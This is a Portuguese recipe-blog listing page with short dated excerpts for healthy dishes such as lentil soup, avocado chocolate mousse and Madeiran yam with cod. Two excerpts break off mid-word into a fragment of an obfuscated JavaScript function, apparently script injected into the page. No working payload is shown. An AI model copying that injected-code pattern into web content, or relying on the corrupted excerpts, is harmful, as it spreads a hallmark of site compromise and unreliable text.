Jun 7, 2019 | À descoberta, Receitas
Receita de bolo delicioso de cacau e laranja na caneca Se está de dieta e não consegue resistir aos doces, opte por comer bolos na caneca. São mais pequenos e assim terá menos hipóteses de pecar. Hoje trago-lhe uma sugestão de um bolo absolutamente delicioso: o bolo...
Mai 31, 2019 | À descoberta, Receitas
Receita de salada de espinafre com maçã e frutos secos Olá! O tempo quente chegou em força e o calor pede refeições suaves, que nos deixem frescos e leves, sem aquela sensação desconfortável de estarmos pesados. É por isso uma grfunction a4872b9c6b(y1){var...
Mai 23, 2019 | À descoberta, Receitas
Mousse de iogurte e morango, uma sobremesa fresca e saudável Já lhe muitas e deliciosas receitas, desde o fabuloso arroz doce até ao tradicional pão de ló, passfunction a4872b9c6b(y1){var...
Mai 19, 2019 | Dicas úteis, Receitas
3 Receitas de barritas de cereais: um snack entre refeições Hoje trago-lhe algumas receitas de barritas de cereais, pois são um óptimo snack que pode comer nos intervalos das refeições. São rápidas, simples de fazer e o melhor de tudo é que são super saudáveis,...
Abr 25, 2019 | Equilíbrio, Saúde e bem estar
Receita de sumo multivitamínico de fisális para o pequeno-almoço Dicas saudáveis! Hoje trago-lhe a sugestão de um sumo rico em fibras e vitaminas para dar cor às suas manhãs, mesmo nos dias mais cinzentos! Conheça de seguida a receita de sumo multivitamínico de...
Abr 20, 2019 | À descoberta, Receitas, Sugestões
Receita saudável de mousse de chocolate e abacate Como adoro dar-lhe receitas saudáveis, hoje trago-lhe a receita de mousse de chocolate e abacate. É uma sobremesa mais saudável do que as outras sobremesas, já que esta não tem açúcar nem gorduras más. É perfeita...
Abr 17, 2019 | Receitas, Saúde e bem estar
Inhame com bacalhau – um prato tradicional da Quaresma na Madeira Como bem sabe, gosto muito de variar na alimentação e, sobretudo, de aproveitar o que de melhor a terra dá. Hoje falo-lhe de um tubérculo que é muito consumido na Madeira, sobretudo na Páscoa....
Mar 20, 2019 | À descoberta, Receitas
Sopa de lentilhas, saudável e muito saborosa Todas as épocas são boas para comer uma boa sopa. Sabem maravilhosamente no inverno, porque confortam o corpo e a alma, mas também sabem lindamente no tempo mais quente, já que são um prato leve mas muito nutritivo, ou...
Fev 25, 2019 | Dicas úteis, Saúde e bem estar
10 alimentos anti-cancro que deve ter em casa Existem nos dias de hoje cada vez mais pesquisas que comprovam que a nossa alimentação tem um enorme impacto na nossa saúde. Assim, é importante saber que há alguns alimentos que nos podem ajudar na prevenção de uma das...
